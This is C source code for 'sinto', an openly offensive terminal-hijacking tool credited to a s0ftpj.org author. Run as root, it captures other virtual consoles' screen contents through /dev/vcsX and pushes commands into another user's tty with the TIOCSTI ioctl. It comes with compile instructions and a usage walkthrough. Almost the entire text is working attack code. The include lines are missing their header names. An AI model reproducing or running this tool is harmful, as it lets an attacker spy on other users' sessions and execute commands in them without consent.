/* * code by vecna@s0ftpj.org - www.s0ftpj.org * * how this code run: * i read input and parse first char, if don't compare with "h" "r" "i", * sinto think that you have insert tty code. it open /dev/vcsX and print * it on * terminal, /dev/vcsX, as read under kernel documentation * (devices.txt): * * 7 char Virtual console capture devices * 0 = /dev/vcs Current vc text contents * 1 = /dev/vcs1 tty1 text contents * ... * 63 = /dev/vcs63 tty63 text contents * 128 = /dev/vcsa Current vc text/attribute contents * * with 'h' is printed number of current vcs. * * after reading from input info about tty, if is digit 'i' sinto entering * on insert mode, where you can insert command to send and execute on * hijacked tty after injection i've put refresh after 1000 milliseconds (if * operation is more long, type 'r' for refresh) * * sorry for my bad english, I speak only with my fish and my plants. * * for compile gcc -o sinto -Wall -O6 sinto.c / run as root. * * tnx to betatester TheDuke Velenux ralph vejeta. * * example of usage: ~# ./sinto 1 (start to read other tty, tty1 on example) i (entering on insert command mode) "command" (after 1000 milliseconds there are refresh) r (make other refresh with 'r') h (type vcs where we are to work) ^C (quit) ~# * bye :) */ #include #include #include #include #include #include #include #include #include #include #define VCS_NAME_LEN 16 #define CMD_SIZE 128 #define VCS_to_TTY(a) a[5] ='t'; \ a[6] ='t'; \ a[7] ='y'; #define TTY_to_VCS(a) a[5] ='v'; \ a[6] ='c'; \ a[7] ='s'; extern int errno; void S_error(char *, ...); int open_vcs(char[3], char *); void read_vcs(int); void read_command(char vcs[]); void exec_hijacking(char *, char *); int main(void) { char terminal[3]={ '1', 0x00, 0x00 }; char *vcs_name =malloc(VCS_NAME_LEN); if(geteuid()) S_error("required root for read other /dev/vcs"); printf("entering on interactive hijacking mode\n"); while(1) { char rcvd, suffix[3]={ 0x00, 0x00, 0x00 }; int vcsfd =0, index =0; while(read(STDIN_FILENO, &rcvd, sizeof(char)) > 0) { if(rcvd == '\n') break; suffix[index++] =rcvd; if(index == 2) break; } switch(suffix[0]) { case '\n': break; case 'h': printf("\nwe are on %s\n", vcs_name); break; case 'i': if(vcs_name !=NULL) read_command(vcs_name); memcpy(&suffix, &terminal, 3); case 'r': /* refresh */ memcpy(&suffix, &terminal, 3); default: vcsfd =open_vcs(suffix, vcs_name); switch(vcsfd) { case -1: S_error("open %s", vcs_name); break; case -2: vcsfd =70; while(vcsfd--) printf("\n"); printf("\nis your tty!\n"); break; default: memcpy(&terminal, &suffix, 3); read_vcs(vcsfd); close(vcsfd); } } } } int open_vcs(char tty[3], char *vcs_name) { char buf[VCS_NAME_LEN]; snprintf(buf, VCS_NAME_LEN, "%s%s", "/dev/vcs", tty); memcpy((void *)vcs_name, (void *) &buf, VCS_NAME_LEN); VCS_to_TTY(vcs_name); if(!strcmp(vcs_name, ttyname(STDIN_FILENO))) return (-2); TTY_to_VCS(vcs_name); /* -2 is signal of opening equal tty */ return open(buf, O_RDONLY); } void read_vcs(int vcsfd) { int nbyte; char screen_buf[2000]; /* my strace tell me 2000 :) */ nbyte =read(vcsfd, screen_buf, sizeof(screen_buf)); if(nbyte == -1) S_error(0, "error on read %d:%s",vcsfd, ttyname(vcsfd)); write(STDOUT_FILENO, screen_buf, nbyte -1); } void read_command(char vcs[]) { char command[128]; printf("\033[1;34minsert command: \033[0m"); fgets(command, 128, stdin); if(command[0] != '\n') exec_hijacking(command, vcs); } void exec_hijacking(char *command, char *vcs) { /* this is some tech used on dirthy.c - TESO team */ int fd; struct termios save_termios, buf; VCS_to_TTY(vcs); if((fd = open(vcs, O_WRONLY)) < 0) S_error("open %s", vcs); if(tcgetattr(STDIN_FILENO, &save_termios) < 0) S_error("tcgetattr"); buf = save_termios; buf.c_lflag &= ~(ECHO | ICANON); buf.c_cc[VMIN] = 1; buf.c_cc[VTIME] = 0; if (tcsetattr(fd, TCSAFLUSH, &buf) <0) S_error("tcsetattr for hijacking"); while(*command) { char part[2] ={ *command++, 0x00 }; if(ioctl(fd, TIOCSTI, part) == -1) S_error("ioctl on sending command"); } usleep(1000); if (tcsetattr(fd, TCSAFLUSH, &save_termios) < 0) S_error("tcsetattr for reset, type \"reset\""); TTY_to_VCS(vcs); } void S_error(char *message, ...) { va_list va; va_start(va, message); if(errno) { vfprintf(stderr, message, va); fprintf(stderr," : %s\n", strerror(errno)); } else { vfprintf(stderr, message, va); fprintf(stderr, "\n"); } va_end(va); exit(errno); }